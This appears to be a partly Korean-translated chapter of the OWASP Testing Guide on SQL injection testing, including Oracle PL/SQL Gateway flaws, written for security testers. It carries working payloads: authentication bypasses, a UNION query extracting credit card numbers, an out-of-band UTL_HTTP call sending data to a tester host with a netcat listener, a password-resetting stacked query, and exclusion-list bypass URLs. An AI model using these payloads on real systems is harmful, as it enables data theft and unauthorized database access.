OTG-INPVAL-005 (SQL 인젝션 침투 테스트)


개요

SQL 인젝션 공격은 클라이언트 브라우저로 부터 웹 어플리케이션으로 데이터 입력 또는 전송 폼을 통해 부분 또는 전체 SQL 쿼리를 삽입하는 것입니다. 성공적인 SQL 인젝션 공격은 데이터베이스로 부터 민감한 데이터를 읽거나, 수정, 실행, 복구 등을 할 수 있습니다.

일반적으로 웹 어플리케이션은 사용자가 입력한 데이터와 프로그래머에 의해 작성된 SQL 구문을 포함하여 구성되어 있습니다.

select title, text from news where id=$id

위의 예제를 보면 $id는 사용자 입력 데이터이고, 나머지 SQL 구문은 프로그래머에 의해 작성된 것입니다.

이러한 구성 때문에, 사용자는 보통 SQL 구문에 사용자가 입력한 부분을 실행하도록 시도할 수 있습니다.

The example below illustrates the user-supplied data "10 or 1=1", changing the logic of the SQL statement, modifying the WHERE clause adding a condition "or 1=1". SQL Injection attacks can be divided into the following three classes:

  • Inband: data is extracted using the same channel that is used to inject the SQL code.

검색 데이터가 어플리케이션 웹 페이지에 직접 표시되는 가장 간단한 공격 유형입니다. - Out-of-band: data is retrieved using a different channel. - Inferential 또는 Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

성공적인 SQL 인젝션 공격은 문법적으로 정확한 SQL 쿼리를 만들어야 합니다.

If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

  • Union 조작: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
  • Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
  • Error 기반: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
  • Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
  • Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn't have some kind of answer (result, output, or error) from the application.

테스트 방법

탐지 기술

이 테스트에 첫번째 단계는 어플리케이션이 어떤 데이터를 액세스하기 위해 DB 서버와 연계할 때를 이해하는 것입니다. 어플리케이션이 DB에 요청할 경우의 일반적인 예제:

  • 인증 폼: 인증이 웹 폼을 사용하여 수행될 때, 사용자가 모든 사용자명과 패스워드를 포함하는

데이터베이스에 대해 사용자 신용 증명을 확인합니다. - 검색 엔진: 사용자가 제출한 문자열은 데이터베이스에서 모든 관련 기록을 출력하는 SQL 쿼리에서 사용할 수 있습니다. - 전자상거래 사이트: 물건과 물건 특징이 데이터베이스에 저장되어 있을 가능성이 높습니다.

테스터는 POST 요청의 숨겨진 필드를 포함한 SQL 쿼리를 만드는데 사용할 수 있는 모든 입력 필드 리스트를 만들어야 하고, 개별적으로 테스트를 해서 쿼리를 방해하고 오류를 생성하기 위해 노력합니다. 또한 HTTP 헤더와 쿠키를 고려합니다.

첫번째 테스트는 일반적으로 필드 또는 파라미터에 싱글 쿼터 또는 세미콜론을 추가하여 확인하는 것입니다.

만약 싱글 쿼터가 어플리케이션에서 필터링되지 않았다면, 문자열 종료로 SQL에 사용되었을 것이고, 잘못된 쿼리로 이어질 것입니다.

만약 세미콜론이 어플리케이션에서 필터링되지 않았다면, SQL 구문이 끝나는데 사용되었을 것이고, 이 또한 오류가 발생될 것입니다.

취약한 필드의 출력은 다음과 유사할 것입니다. (Microsoft SQL Server)

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed
quotation mark before the
character string ''.
/target/target.asp, line 113

또한, 주석 구분자(-- 또는 /* */, 등)와 'AND', 'OR'과 같은 다른 키워드는 쿼리 수정을 위해 사용될 수 있습니다.

매우 간단하지만 때로는 여전히 효과적인 기술은 다수의 예상되는 문자열을 삽입하는 것인데, 다음과 같은 오류가 생성될 수 있습니다.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

웹 서버로 부터 모든 응답을 모니터하고 HTML/javascript 소스 코드를 확인해야 합니다.

때로는 에러가 존재하지만 어떠한 이유로 사용자에게 제공되지 않을 수 있습니다.

위 예제에서와 같은 전체 에러 메시지는 테스터에게 성공적인 인젝션 공격을 위해 풍부한 정보를 제공합니다. 그러나, 어플리케이션은 종종 간단하게 '500 Server Error' 또는 자체 에러 페이지를 출력하고 자세한 내용을 제공하지 않는데, 이럴 경우 블라인드 인젝션 기술을 사용해야 합니다.

어쨋든, 파라미터의 취약여부를 정밀하게 판단하기 위해서, 각각의 필드를 분리하여 테스트하는 것은 매우 중요합니다.


기본 SQL 인젝션 테스트

예제 1 (기본 SQL 인젝션)

SELECT * FROM Users WHERE Username='$username' AND
Password='$password'

일반적으로 웹 어플리케이션에서 사용자 인증을 위해 사용되는 쿼리입니다. 만약 쿼리가 데이터베이스 내부 자격 증명에 사용자가 존재함을 의미하는 값을 리턴하면, 사용자는 시스템에 로그인할 수 있고, 그렇지 않으면 액세스가 거부됩니다.

입력 필드 값은 일반적으로 웹 form을 통해 사용자로 부터 획득됩니다.

다음 사용자명과 패스워드 값을 입력했다고 가정합니다.

$username = 1' or '1' = '1
$password = 1' or '1' = '1

위 입력은 다음과 같이 입력될 것입니다.

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND
Password='1' OR '1' = '1'

만약 파라미터 값이 GET 메소드를 통해 서버에 보내졌고, 취약한 웹 사이트의 도메인이 www.example.com이라고 가정한다면, 요청을 아래와 같이 수행할 것입니다.

조건이 항상 true이기 때문에 쿼리 값을 반환하는 것을 알 수 있습니다.

[Request URL]

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'
1&password=1'%20or%20'1'%20=%20'1

이번 방법에서는 사용자명과 패스워드를 알지 못하는 상태에서 시스템에 인증되었습니다. 대부분 시스템에서는 사용자 테이블의 첫번째 줄이 관리자 사용자일 것입니다.

이것은 그런 일부 경우에 리턴되는 프로파일 일 수 있습니다.


또 다른 예제 하나를 더 보겠습니다.

SELECT * FROM Users WHERE ((Username='$username') AND
(Password=MD5('$password')))

이 경우 인젝션을 하기 위해 두 가지 문제를 해결해야 하는데, 하나는 괄호 사용이고 다른 하는 MD5 함수 사용입니다. 우선적으로, 괄호 사용 문제의 경우 괄호 개수에 맞게 닫힘 괄호를 입력해주어야 합니다. 두번째 문제인, MD5의 경우 주석 처리를 통해 함수가 처리되지 않도록 합니다. 모든 DBMS는 주속 구문을 가지고 있는데, 대다수 공통적으로 '/*'을 사용합니다.

$username = 1' or '1' = '1'))/*

$password = foo

이 방법에서, 다음 쿼리를 얻을 수 있습니다.

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND
(Password=MD5('foo')))

$username에 주석 구분자로 인해 $password 부분은 무시될 것입니다.

[Request URL]

http://www.example.com/index.php?username=1'%20or%20
'1'%20=%20'1'))/*&password=foo

이건 다수의 값이 반환될 수 있습니다. 때때로, 인증 코드는 반환된 결과의 수가 1과 정확하게 동일하다고 확인합니다.

In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

$username = 1' or '1' = '1')) LIMIT 1/*

$password = foo

[Request URL]

http://www.example.com/index.php?username=1'%20or%20
'1'%20=%20'1'))%20LIMIT%201/*&password=foo

예제 2 (simple SELECT statement): Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

http://www.example.com/product.php?id=10 AND 1=2

SELECT * FROM products WHERE id_product=10 AND 1=2

In this case, probably the application would return some message telling us there is no content available or a blank page. Then the tester can send a true statement and check if there is a valid result:

http://www.example.com/product.php?id=10 AND 1=1

예제 3 (Stacked queries):

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

A way to exploit the above scenario would be:

http://www.example.com/product.php?id=10; INSERT INTO
users (...)

This way is possible to execute many queries in a row and independent of the first query.


Fingerprinting the Database

Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

  1. The first way to find out what back end database is used is by observing the error returned by the application. Follow are some examples:

MySql:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Oracle:

ORA-00933: SQL command not properly ended

MS SQL Server:

Microsoft SQL Native Client error '80040e14' Unclosed quotation mark after the character string

PostgreSQL:

Query failed: ERROR: syntax error at or near "'" at character 56 in /www/site/test.php on line 121.

  1. If there is no error message or a custom error message, the tester can try to inject into string field using concatenation technique:

공격 기술

Union 공격 기술

SQL 인젝션 시 UNION 연산자는 오리지날 쿼리에 테스터가 의도적으로 위조한 쿼리를 합치기 위해 사용됩니다.

위조한 쿼리 결과는 테스터가 다른 테이블의 컬럼 값을 획득하기 위해 오리지날 쿼리 결과에 합쳐지게 될 것입니다.

다음과 같이 서버로 부터 실행되는 쿼리 예제를 가정해봅니다.

SELECT Name, Phone, Address FROM Users WHERE Id=$id

다음과 같이 $id 값을 설정할 것입니다.

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

다음 쿼리가 실행될 것입니다.

SELECT Name, Phone, Address FROM Users WHERE Id=1
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

CreditCardTable 테이블에 있는 모든 CreditCardNumber가 오리지널 쿼리 결과에 합쳐질 것입니다. 키워드 ALL은 The keyword ALL is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement. In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database's column selected:

http://www.example.com/product.php?id=10 ORDER BY 10--

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query.

If there is an error message available, it would probably be:

Unknown column '10' in 'order clause'

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

http://www.example.com/product.php?id=10 UNION SELECT
1,null,null--

If the query fails, the tester will probably see a message like:

All cells in a column must have the same datatype

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

http://www.example.com/product.php?id=10 UNION SELECT
1,1,null--

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

http://www.example.com/product.php?id=99999 UNION
SELECT 1,1,null--

Boolean 공격 기술

The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect).

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

http://www.example.com/index.php?id=1'

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the user-name field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions: SUBSTRING (text, start, length): returns a substring starting from the position "start" of text and of length "length". I f "start" is greater than the length of text, the function returns a null value. ASCII (char): it gives back ASCII value of the input character. A null value is returned if char is 0. LENGTH (text): it gives back the number of characters in the input text. Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for Id:

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

That creates the following query (from now on, we will call it "inferential query"):

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND
ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for Id:

$Id=1' AND '1' = '2

Which will create the following query:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1'
= '2'

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character. We will insert the following value for the field Id:

$Id=1' AND LENGTH(username)=N AND '1' = '1

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND
LENGTH(username)=N AND '1' = '1'

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value. The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.


에러 기반 공격 기술

An Error based exploitation technique is useful when the tester for some reason can't exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section). Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be (e.g. Oracle 10g):

http://www.example.com/product.php?id=10||UTL_INADDR.
GET_HOST_NAME( (SELECT user FROM DUAL) )-

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

ORA-292257: host SCOTT unknown

Then the tester can manipulate the parameter passed to GET_ HOST_NAME() function and the result will be shown in the error message.


Out of band Exploitation technique

This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester's server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section. Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be:

http://www.example.com/product.php?id=10||UTL_HTTP.
request('testerserver.com:80'||(SELET user FROM DUAL)-

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to 'testerserver' and make a HTTP GET request containing the return from the query "SELECT user FROM DUAL". The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

/home/tester/nc -nLp 80
GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close

시간 지연 공격 기술

The Boolean exploitation technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section). Consider the following SQL query: SELECT * FROM products WHERE id_product=$id_product Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be (e.g. MySql 5.x):

http://www.example.com/product.php?id=10 AND IF(version()
like '5%', sleep(10), 'false'))-

In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn't need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.


저장 프로시저 인젝션

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure. Consider the following SQL Server Stored Procedure:

Create procedure user_login @username varchar(20),
@passwd varchar(20) As Declare @sqlstring varchar(250)
Set @sqlstring = ' Select 1 from users Where username = '
+ @username + ' and passwd = ' + @passwd exec(@sqlstring) Go
User input: anyusername or 1=1' anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters. NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. Consider the following SQL Server Stored Procedure:

Create procedure get_report @columnamelist varchar(7900)
As Declare @sqlstring varchar(8000) Set @sqlstring =
' Select ' + @ columnamelist + ' from ReportTable'
exec(@sqlstring) Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users' passwords being updated.


자동화 공격

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap


Tools

  • SQL Injection Fuzz Strings (from wfuzz tool): https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
  • OWASP SQLiX
  • Francois Larouche: Multiple DBMS SQL Injection tool - SQL Power Injector
  • ilo--, Reversing.org - sqlbftools
  • Bernardo Damele A. G. - sqlmap
  • icesurfer: SQL Server Takeover Tool - sqlninja
  • Pangolin: Automated SQL Injection Tool - Pangolin
  • Muhaimin Dzulfakar - MySqloit
  • Antonio Parata: Dump Files by SQL inference on Mysql - SqlDumper
  • bsqlbf, a blind SQL injection tool in Perl

References

  • Top 10 2013-A1-Injection

Whitepapers


Oracle 테스트

개요

Web based PL/SQL applications are enabled by the PL/SQL Gateway, which is is the component that translates web requests into database queries. Oracle has developed a number of software implementations, ranging from the early web listener product to the Apache mod_plsql module to the XML Database (XDB) web server. All have their own quirks and issues, each of which will be thoroughly investigated in this chapter. Products that use the PL/SQL Gateway include, but are not limited to, the Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB and Oracle Application Server.


테스트 방법

How the PL/SQL Gateway works Essentially the PL/SQL Gateway simply acts as a proxy server taking the user's web request and passes it on to the database server where it is executed. [1] The web server accepts a request from a web client and determines if it should be processed by the PL/SQL Gateway. [2] The PL/SQL Gateway processes the request by extracting the requested package name, procedure, and variables. [3] The requested package and procedure are wrapped in a block of anonymous PL/SQL, and sent to the database server. [4] The database server executes the procedure and sends the results back to the Gateway as HTML. [5] The gateway sends the response, via the web server, back to the client. Understanding this point is important - the PL/SQL code does not exist on the web server but, rather, in the database server. This means that any weaknesses in the PL/SQL Gateway or any weaknesses in the PL/SQL application, when exploited, give an attacker direct access to the database server; no amount of firewalls will prevent this. URLs for PL/SQL web applications are normally easily recognizable and generally start with the following (xyz can be any string and represents a Database Access Descriptor, which you will learn more about later): http://www.example.com/pls/xyz http://www.example.com/xyz/owa http://www.example.com/xyz/plsql While the second and third of these examples represent URLs from older versions of the PL/SQL Gateway, the first is from more recent versions running on Apache. In the plsql.conf Apache configuration file, /pls is the default, specified as a Location with the PLS module as the handler. The location need not be /pls, however. The absence of a file extension in a URL could indicate the presence of the Oracle PL/SQL Gateway. Consider the following URL: http://www.server.com/aaa/bbb/xxxxx.yyyyy If xxxxx.yyyyy were replaced with something along the lines of "ebank. home," "store.welcome," "auth.login," or "books.search," then there's a fairly strong chance that the PL/SQL Gateway is being used. It is also possible to precede the requested package and procedure with the name of the user that owns it - i.e. the schema - in this case the user is "webuser": http://www.server.com/pls/xyz/webuser.pkg.proc In this URL, xyz is the Database Access Descriptor, or DAD. A DAD specifies information about the database server so that the PL/SQL Gateway can connect. It contains information such as the TNS connect string, the user ID and password, authentication methods, and so on. These DADs are specified in the dads.conf Apache configuration file in more recent versions or the wdbsvr.app file in older versions. Some default DADs include the following: SIMPLEDAD HTMLDB ORASSO SSODAD PORTAL PORTAL2 PORTAL30 PORTAL30_SSO TEST DAD APP ONLINE DB OWA

Determining if the PL/SQL Gateway is running When performing an assessment against a server, it's important first to know what technology you're actually dealing with. If you don't already know, for example, in a black box assessment scenario, then the first thing you need to do is work this out. Recognizing a web based PL/SQL application is pretty easy. First, there is the format of the URL and what it looks like, discussed above. Beyond that there are a set of simple tests that can be performed to test for the existence of the PL/ SQL Gateway. Server response headers The web server's response headers are a good indicator as to whether the server is running the PL/SQL Gateway. The table below lists some of the typical server response headers: Oracle-Application-Server-10g Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server Oracle-Application-Server-10g OracleAS-Web-Cache10g/9.0.4.2.0 (N) Oracle-Application-Server-10g/9.0.4.0.0 Oracle HTTP Server Powered by Apache Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_ plsql/3.0.9.8.3a Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_ plsql/3.0.9.8.3d Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_ plsql/3.0.9.8.5e Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_ plsql/3.0.9.8.5e Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_ plsql/3.0.9.8.3c Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_ plsql/3.0.9.8.3b Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_ plsql/9.0.2.0.0 Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition Oracle_Web_Listener/4.0.8.2EnterpriseEdition Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition Oracle_Web_listener3.0.2.0.0/2.14FC1 Oracle9iAS/9.0.2 Oracle HTTP Server Oracle9iAS/9.0.3.1 Oracle HTTP Server

The NULL test In PL/SQL, "null" is a perfectly acceptable expression: SQL> BEGIN

2 NULL; 3 END; 4 /

PL/SQL procedure successfully completed. We can use this to test if the server is running the PL/SQL Gateway. Simply take the DAD and append NULL, then append NOSUCHPROC: http://www.example.com/pls/dad/null http://www.example.com/pls/dad/nosuchproc If the server responds with a 200 OK response for the first and a 404 Not Found for the second then it indicates that the server is running the PL/SQL Gateway. Known package access On older versions of the PL/SQL Gateway, it is possible to directly access the packages that form the PL/SQL Web Toolkit such as the OWA and HTP packages. One of these packages is the OWA_UTIL package, which we'll speak about more later on. This package contains a procedure called SIGNATURE and it simply outputs in HTML a PL/SQL signature. Thus requesting "This page was produced by the PL/SQL Web Toolkit on date" returns the following output on the webpage "This page was produced by the PL/SQL Cartridge on date" or "This page was produced by the PL/SQL Cartridge on date" If you don't get this response but a 403 Forbidden response then you can infer that the PL/SQL Gateway is running. This is the response you should get in later versions or patched systems. Accessing Arbitrary PL/SQL Packages in the Database It is possible to exploit vulnerabilities in the PL/SQL packages that are installed by default in the database server. How you do this depends on the version of the PL/SQL Gateway. In earlier versions of the PL/SQL Gateway, there was nothing to stop an attacker from accessing an arbitrary PL/SQL package in the database server. We mentioned the OWA_UTIL package earlier. This can be used to run arbitrary SQL queries: http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS Cross Site Scripting attacks could be launched via the HTP package: http://www.example.com/pls/dad/HTP.PRINT?C BUF=<script>alert('XSS')</script> Clearly, this is dangerous, so Oracle introduced a PLSQL Exclusion list to prevent direct access to such dangerous procedures. Banned items include any request starting with SYS.*, any request starting with DBMS_*, any request with HTP.* or OWA*. It is possible to bypass the exclusion list however. What's more, the exclusion list does not prevent access to packages in the CTXSYS and MDSYS schemas or others, so it is possible to exploit flaws in these packages: http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALI DATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL This will return a blank HTML page with a 200 OK response if the database server is still vulnerable to this flaw (CVE-2006-0265) Testing the PL/SQL Gateway For Flaws Over the years, the Oracle PL/SQL Gateway has suffered from a number of flaws, including access to admin pages (CVE-20020561), buffer overflows (CVE-2002-0559), directory traversal bugs, and vulnerabilities that allow attackers to bypass the Exclusion List and go on to access and execute arbitrary PL/SQL packages in the database server. Bypassing the PL/SQL Exclusion List It is incredible how many times Oracle has attempted to fix flaws that allow attackers to bypass the exclusion list. Each patch that Oracle has produced has fallen victim to a new bypass technique. The history of this sorry story can be found here: http://seclists. org/fulldisclosure/2006/Feb/0011.html Bypassing the Exclusion List - Method 1 When Oracle first introduced the PL/SQL Exclusion List to prevent attackers from accessing arbitrary PL/SQL packages, it could be trivially bypassed by preceding the name of the schema/package with a hex encoded newline character or space or tab: http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC Bypassing the Exclusion List - Method 2 Later versions of the Gateway allowed attackers to bypass the exclusion list by preceding the name of the schema/package with a label. In PL/SQL a label points to a line of code that can be jumped to using the GOTO statement and takes the following form: <<NAME>> http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC Bypassing the Exclusion List - Method 3 Simply placing the name of the schema/package in double quotes could allow an attacker to bypass the exclusion list. Note that this will not work on Oracle Application Server 10g as it converts the user's request to lowercase before sending it to the database server and a quote literal is case sensitive - thus "SYS" and "sys" are not the same and requests for the latter will result in a 404 Not Found. On earlier versions though the following can bypass the exclusion list:

http://www.example.com/pls/dad/"SYS".PACKAGE.PROC Bypassing the Exclusion List - Method 4 Depending upon the character set in use on the web server and on the database server, some characters are translated. Thus, depending upon the character sets in use, the "y" character (0xFF) might be converted to a "Y" at the database server. Another character that is often converted to an upper case "Y" is the Macron character - 0xAF. This may allow an attacker to bypass the exclusion list: http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC Bypassing the Exclusion List - Method 5 Some versions of the PL/SQL Gateway allow the exclusion list to be bypassed with a backslash - 0x5C: http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC Bypassing the Exclusion List - Method 6 This is the most complex method of bypassing the exclusion list and is the most recently patched method. If we were to request the following http://www.example.com/pls/dad/foo.bar?xyz=123 the application server would execute the following at the database server: 1 declare 2 rc__ number; 3 start_time__ binary_integer; 4 simple_list__ owa_util.vc_arr; 5 complex_list__ owa_util.vc_arr; 6 begin 7 start_time__ := dbms_utility.get_time; 8 owa.init_cgi_env(:n__,:nm__,:v__); 9 htp.HTBUF_LEN := 255; 10 null; 11 null; 12 simple_list__(1) := 'sys.%'; 13 simple_list__(2) := 'dbms_%'; 14 simple_list__(3) := 'utl_%'; 15 simple_list__(4) := 'owa_%'; 16 simple_list__(5) := 'owa.%'; 17 simple_list__(6) := 'htp.%'; 18 simple_list__(7) := 'htf.%'; 19 if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then 20 rc__ := 2; 21 else 22 null; 23 orasso.wpg_session.init(); 24 foo.bar(XYZ=>:XYZ); 25 if (wpg_docload.is_file_download) then 26 rc__ := 1; 27 wpg_docload.get_download_file(:doc_info); 28 orasso.wpg_session.deinit(); 29 null; 30 null; 31 commit; 32 else 33 rc__ := 0; 34 orasso.wpg_session.deinit(); 35 null; 36 null; 37 commit; 38 owa.get_page(:data__,:ndata__); 39 end if; 40 end if; 41 :rc__ := rc__; 42 :db_proc_time__ := dbms_utility.get_time.start_ time__; 43 end; Notice lines 19 and 24. On line 19, the user's request is checked against a list of known "bad" strings, i.e., the exclusion list. If the requested package and procedure do not contain bad strings, then the procedure is executed on line 24. The XYZ parameter is passed as a bind variable. If we then request the following: http://server.example.com/pls/dad/INJECT'POINT the following PL/SQL is executed: .. 18 simple_list__(7) := 'htf.%'; 19 if ((owa_match.match_pattern('inject'point', simple_ list__, complex_list__, true))) then 20 rc__ := 2; 21 else 22 null; 23 orasso.wpg_session.init(); 24 inject'point; .. This generates an error in the error log: "PLS-00103: Encountered the symbol 'POINT' when expecting one of the following. . ." What we have here is a way to inject arbitrary SQL. This can be exploited to bypass the exclusion list. First, the attacker needs to find a PL/SQL procedure that takes no parameters and doesn't match anything in the exclusion list. There are a good number of default packages that match this criteria, for example: JAVA_AUTONOMOUS_TRANSACTION.PUSH XMLGEN.USELOWERCASETAGNAMES

PORTAL.WWV_HTP.CENTERCLOSE ORASSO.HOME WWC_VERSION.GET_HTTP_DATABASE_INFO

